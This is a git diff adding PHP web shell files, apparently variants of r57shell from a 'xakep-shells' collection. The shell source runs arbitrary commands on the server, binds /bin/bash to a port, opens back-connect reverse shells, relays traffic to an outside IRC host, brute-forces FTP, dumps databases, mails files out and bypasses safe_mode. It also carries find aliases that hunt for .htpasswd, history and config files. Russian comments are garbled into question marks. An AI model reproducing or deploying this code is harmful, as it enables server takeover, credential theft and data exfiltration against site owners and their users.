+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te." ".$fe."
";
+}
+if($unix && @function_exists("ftp_connect")){
+echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
+echo sr(15,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
+echo $te.''.$table_end1.$fe;
+}
+if(@function_exists("mail")){
+echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text103']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",''.(!empty($_POST['text'])?($_POST['text']):("mail text here")).' ');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text104']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+echo $te." ".$fe."
";
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+$select = '';
+if($mysql_on) $select .= 'MySQL ';
+if($mssql_on) $select .= 'MSSQL ';
+if($pg_on) $select .= 'PostgreSQL ';
+if($ora_on) $select .= 'Oracle ';
+$select .= ' ';
+echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(35,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&$unix){
+echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts." ".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+echo '
'.$table_up3."
";
+echo '';
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/r577.php.php.txt b/xakep-shells/PHP/r577.php.php.txt
new file mode 100644
index 0000000..3d7547b
--- /dev/null
+++ b/xakep-shells/PHP/r577.php.php.txt
@@ -0,0 +1,1889 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_SERVER as $k=>$v)
+ {
+ $_SERVER[$k] = stripslashes($v);
+ }
+ }
+
+/* ~~~ ?????????????? ~~~ */
+
+// $auth = 1; - ?????????????? ????????
+// $auth = 0; - ?????????????? ?????????
+$auth = 0;
+
+// ????? ? ?????? ??? ??????? ? ???????
+// ?? ???????? ??????? ????? ??????????? ?? ???????!!!
+$name='teufel'; // ????? ????????????
+$pass='spyms'; // ?????? ????????????
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="shell"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit("www.spygrup.org : Access Denied ");
+ }
+}
+$head = '
+
+
+shell
+
+
+';
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if ($_POST['cmd']=="db_query")
+ {
+ echo $head;
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mysql_query($query,$db);
+ $error = @mysql_error($db);
+ if($error) { echo " "; }
+ else {
+ if (@mysql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mysql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @mysql_affected_rows($db))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @mysql_free_result($res);
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "Can't connect to MySQL server
";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @mssql_query($query,$db);
+ if (@mssql_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @mssql_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "affected rows : ".$rows."
"; } else { echo " "; }} */
+ @mssql_free_result($res);
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "Can't connect to MSSQL server
";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5){
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $res = @pg_query($db,$query);
+ $error = @pg_errormessage($db);
+ if($error) { echo " "; }
+ else {
+ if (@pg_num_rows($res) > 0)
+ {
+ $sql2 = $sql = $keys = $values = '';
+ while (($row = @pg_fetch_assoc($res)))
+ {
+ $keys = @implode(" ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
+ $values = @implode(" ",$values);
+ $sql2 .= " ".$values." ";
+ }
+ echo "";
+ $sql = " ".$keys." ";
+ $sql .= $sql2;
+ echo $sql;
+ echo "
";
+ }
+ else { if(($rows = @pg_affected_rows($res))>=0) { echo "affected rows : ".$rows."
"; } }
+ }
+ @pg_free_result($res);
+ }
+ }
+ @pg_close($db);
+ }
+ else echo "Can't connect to PostgreSQL server
";
+ break;
+ case 'Oracle':
+ $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
+ if(($error = @ocierror())) { echo "Can't connect to Oracle server. ".$error['message']."
"; }
+ else
+ {
+ $querys = @explode(';',$_POST['db_query']);
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5) {
+ echo "Query#".$num." : ".htmlspecialchars($query)." ";
+ $stat = @ociparse($db, $query);
+ @ociexecute($stat);
+ if(($error = @ocierror())) { echo "Error : ".$error['message']."
"; }
+ else
+ {
+ $rowcount = @ocirowcount($stat);
+ if($rowcount != 0) {echo "affected rows : ".$rowcount."
";}
+ else {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ocicolumnname($stat, $j))." "; }
+ echo " ";
+ while(ocifetch($stat))
+ {
+ echo "";
+ for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo " ".htmlspecialchars(@ociresult($stat, $j))." "; }
+ echo " ";
+ }
+ echo "
";
+ }
+ @ocifreestatement($stat);
+ }
+ }
+ }
+ @ocilogoff($db);
+ }
+ break;
+ }
+ echo "";
+ echo in('hidden','db',0,$_POST['db']);
+ echo in('hidden','db_port',0,$_POST['db_port']);
+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);
+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);
+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);
+ echo in('hidden','cmd',0,'db_query');
+ echo "".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."
";
+ echo " ";
+ echo " "; die();
+ }
+if(isset($_GET['delete']))
+ {
+ @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
+ }
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+/*
+????? ?????
+$language='eng' - ???????
+$language='ru' - ??????????
+*/
+$language='eng';
+$lang=array(
+'ru_text1' =>'??????????? ???????',
+'ru_text2' =>'?????????? ?????? ?? ???????',
+'ru_text3' =>'????????? ???????',
+'ru_text4' =>'??????? ??????????',
+'ru_text5' =>'???????? ?????? ?? ??????',
+'ru_text6' =>'????????? ????',
+'ru_text7' =>'??????',
+'ru_text8' =>'???????? ?????',
+'ru_butt1' =>'?????????',
+'ru_butt2' =>'?????????',
+'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
+'ru_text10'=>'??????? ????',
+'ru_text11'=>'?????? ??? ???????',
+'ru_butt3' =>'???????',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-?????',
+'ru_text14'=>'????',
+'ru_butt4' =>'?????????',
+'ru_text15'=>'???????? ?????? ? ?????????? ???????',
+'ru_text16'=>'????????????',
+'ru_text17'=>'????????? ????',
+'ru_text18'=>'????????? ????',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'????????????',
+'ru_text21'=>'????? ???',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'????????? ????',
+'ru_text24'=>'????????? ????',
+'ru_text25'=>'????????? ????',
+'ru_text26'=>'????????????',
+'ru_butt5' =>'?????????',
+'ru_text28'=>'?????? ? safe_mode',
+'ru_text29'=>'?????? ????????',
+'ru_butt6' =>'???????',
+'ru_text30'=>'???????? ?????',
+'ru_butt7' =>'???????',
+'ru_text31'=>'???? ?? ??????',
+'ru_text32'=>'?????????? PHP ????',
+'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
+'ru_butt8' =>'?????????',
+'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
+'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
+'ru_text36'=>'????',
+'ru_text37'=>'?????',
+'ru_text38'=>'??????',
+'ru_text39'=>'???????',
+'ru_text40'=>'???? ??????? ???? ??????',
+'ru_butt9' =>'????',
+'ru_text41'=>'????????? ? ?????',
+'ru_text42'=>'?????????????? ?????',
+'ru_text43'=>'????????????? ????',
+'ru_butt10'=>'?????????',
+'ru_butt11'=>'?????????????',
+'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
+'ru_text45'=>'???? ????????',
+'ru_text46'=>'???????? phpinfo()',
+'ru_text47'=>'???????? ???????? php.ini',
+'ru_text48'=>'???????? ????????? ??????',
+'ru_text49'=>'???????? ??????? ? ???????',
+'ru_text50'=>'?????????? ? ??????????',
+'ru_text51'=>'?????????? ? ??????',
+'ru_text52'=>'????? ??? ??????',
+'ru_text53'=>'?????? ? ?????',
+'ru_text54'=>'????? ?????? ? ??????',
+'ru_butt12'=>'?????',
+'ru_text55'=>'?????? ? ??????',
+'ru_text56'=>'?????? ?? ???????',
+'ru_text57'=>'???????/??????? ????/??????????',
+'ru_text58'=>'???',
+'ru_text59'=>'????',
+'ru_text60'=>'??????????',
+'ru_butt13'=>'???????/???????',
+'ru_text61'=>'???? ??????',
+'ru_text62'=>'?????????? ???????',
+'ru_text63'=>'???? ??????',
+'ru_text64'=>'?????????? ???????',
+'ru_text65'=>'???????',
+'ru_text66'=>'???????',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'???????',
+'ru_text69'=>'????????1',
+'ru_text70'=>'????????2',
+'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
+'ru_text72'=>'????? ??? ??????',
+'ru_text73'=>'?????? ? ?????',
+'ru_text74'=>'?????? ? ??????',
+'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
+'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
+'ru_text77'=>'???????? ????????? ???? ??????',
+'ru_text78'=>'?????????? ???????',
+'ru_text79'=>'?????????? ???????',
+'ru_text80'=>'???',
+'ru_text81'=>'????',
+'ru_text82'=>'???? ??????',
+'ru_text83'=>'?????????? SQL ???????',
+'ru_text84'=>'SQL ??????',
+'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'Executed command',
+'eng_text2' =>'Execute command on server',
+'eng_text3' =>'Run command',
+'eng_text4' =>'Work directory',
+'eng_text5' =>'Upload files on server',
+'eng_text6' =>'Local file',
+'eng_text7' =>'Aliases',
+'eng_text8' =>'Select alias',
+'eng_butt1' =>'Execute',
+'eng_butt2' =>'Upload',
+'eng_text9' =>'Bind port to /bin/bash',
+'eng_text10'=>'Port',
+'eng_text11'=>'Password for access',
+'eng_butt3' =>'Bind',
+'eng_text12'=>'back-connect',
+'eng_text13'=>'IP',
+'eng_text14'=>'Port',
+'eng_butt4' =>'Connect',
+'eng_text15'=>'Upload files from remote server',
+'eng_text16'=>'With',
+'eng_text17'=>'Remote file',
+'eng_text18'=>'Local file',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'Use',
+'eng_text21'=>' New name',
+'eng_text22'=>'datapipe',
+'eng_text23'=>'Local port',
+'eng_text24'=>'Remote host',
+'eng_text25'=>'Remote port',
+'eng_text26'=>'Use',
+'eng_butt5' =>'Run',
+'eng_text28'=>'Work in safe_mode',
+'eng_text29'=>'ACCESS DENIED',
+'eng_butt6' =>'Change',
+'eng_text30'=>'Cat file',
+'eng_butt7' =>'Show',
+'eng_text31'=>'File not found',
+'eng_text32'=>'Eval PHP code',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'Test',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'Database',
+'eng_text37'=>'Login',
+'eng_text38'=>'Password',
+'eng_text39'=>'Table',
+'eng_text40'=>'Dump database table',
+'eng_butt9' =>'Dump',
+'eng_text41'=>'Save dump in file',
+'eng_text42'=>'Edit files',
+'eng_text43'=>'File for edit',
+'eng_butt10'=>'Save',
+'eng_text44'=>'Can\'t edit file! Only read access!',
+'eng_text45'=>'File saved',
+'eng_text46'=>'Show phpinfo()',
+'eng_text47'=>'Show variables from php.ini',
+'eng_text48'=>'Delete temp files',
+'eng_butt11'=>'Edit file',
+'eng_text49'=>'Delete script from server',
+'eng_text50'=>'View cpu info',
+'eng_text51'=>'View memory info',
+'eng_text52'=>'Find text',
+'eng_text53'=>'In dirs',
+'eng_text54'=>'Find text in files',
+'eng_butt12'=>'Find',
+'eng_text55'=>'Only in files',
+'eng_text56'=>'Nothing :(',
+'eng_text57'=>'Create/Delete File/Dir',
+'eng_text58'=>'name',
+'eng_text59'=>'file',
+'eng_text60'=>'dir',
+'eng_butt13'=>'Create/Delete',
+'eng_text61'=>'File created',
+'eng_text62'=>'Dir created',
+'eng_text63'=>'File deleted',
+'eng_text64'=>'Dir deleted',
+'eng_text65'=>'Create',
+'eng_text66'=>'Delete',
+'eng_text67'=>'Chown/Chgrp/Chmod',
+'eng_text68'=>'Command',
+'eng_text69'=>'param1',
+'eng_text70'=>'param2',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'Text for find',
+'eng_text73'=>'Find in folder',
+'eng_text74'=>'Find in files',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'Search text in files via find',
+'eng_text77'=>'Show database structure',
+'eng_text78'=>'show tables',
+'eng_text79'=>'show columns',
+'eng_text80'=>'Type',
+'eng_text81'=>'Net',
+'eng_text82'=>'Databases',
+'eng_text83'=>'Run SQL query',
+'eng_text84'=>'SQL query',
+);
+/*
+?????? ??????
+????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
+?? ?????? ???? ????????? ??? ???????? ???????.
+*/
+$aliases=array(
+'find suid files'=>'find / -type f -perm -04000 -ls',
+'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
+'find sgid files'=>'find / -type f -perm -02000 -ls',
+'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
+'find config.inc.php files'=>'find / -type f -name config.inc.php',
+'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
+'find config* files'=>'find / -type f -name "config*"',
+'find config* files in current dir'=>'find . -type f -name "config*"',
+'find all writable files'=>'find / -type f -perm -2 -ls',
+'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
+'find all writable directories'=>'find / -type d -perm -2 -ls',
+'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
+'find all writable directories and files'=>'find / -perm -2 -ls',
+'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
+'find all service.pwd files'=>'find / -type f -name service.pwd',
+'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
+'find all .htpasswd files'=>'find / -type f -name .htpasswd',
+'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
+'find all .bash_history files'=>'find / -type f -name .bash_history',
+'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
+'find all .mysql_history files'=>'find / -type f -name .mysql_history',
+'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
+'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
+'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
+'list file attributes on a Linux second extended file system'=>'lsattr -va',
+'show opened ports'=>'netstat -an | grep -i listen',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " ? ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$windows = 0;
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $windows = 1; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= ($windows)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if($windows&&!$safe_mode)
+ {
+ $uname = ex("ver");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+else if($unix&&!$safe_mode)
+ {
+ $uname = ex("uname");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function we($i)
+{
+if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; }
+else { $text = "[-] ERROR! Can't write in file "; }
+echo "";
+return null;
+}
+function re($i)
+{
+if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; }
+else { $text = "[-] ERROR! Can't read file "; }
